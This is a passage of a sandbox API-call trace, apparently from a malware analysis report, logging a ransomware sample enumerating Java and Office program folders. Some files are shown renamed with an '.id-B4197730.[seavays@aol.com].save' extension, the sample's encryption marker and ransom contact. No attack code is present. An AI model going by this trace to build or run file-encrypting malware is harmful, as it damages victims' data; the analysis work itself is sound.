lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="System", cAlternateFileName="")) returned 0 [0159.788] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0159.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0159.789] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa64e4d0, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0xa64e4d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa64e4d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0159.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.793] FindNextFileW (in: hFindFile=0x4532000, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0159.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.794] FindNextFileW (in: hFindFile=0x4532000, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0159.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.794] FindNextFileW (in: hFindFile=0x4532000, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0159.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0159.794] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0159.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.807] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x166c9822, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x166c9822, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x166e0559, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x753c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DT_SHM~1.SAV")) returned 1 [0160.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.380] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18659d6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x18659d6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x18659d6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="POLICY~1.SAV")) returned 1 [0160.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.381] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0160.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0160.382] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0160.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.386] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0160.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.386] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0160.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.387] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0160.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.391] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0160.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.394] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0160.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.397] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0160.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4575710 | out: hHeap=0x710000) returned 1 [0160.400] FindNextFileW (in: hFindFile=0x4532580, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa73341f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa73341f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0160.400] FindClose (in: hFindFile=0x4532580 | out: hFindFile=0x4532580) returned 1 [0160.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.401] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0160.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.401] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0160.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.404] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0160.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0160.407] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0160.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0160.409] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0160.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0160.409] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xacb6ab4, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xacb6ab4, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0160.409] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0160.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0160.409] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xac6a624, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xac6a624, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0160.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0160.412] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9653cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xd9653cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0160.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0160.656] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="root", cAlternateFileName="")) returned 1 [0160.661] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0160.661] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0161.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0161.780] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0162.178] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0162.178] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0162.179] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0162.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0162.179] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0162.179] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0162.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0162.181] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0162.184] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4575710 | out: hHeap=0x710000) returned 1 [0162.184] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0162.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4575710 | out: hHeap=0x710000) returned 1 [0162.186] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0162.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4575710 | out: hHeap=0x710000) returned 1 [0162.190] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0162.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0162.190] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0162.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0162.193] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0162.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0162.195] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0162.204] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0162.205] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0163.322] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0163.322] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, 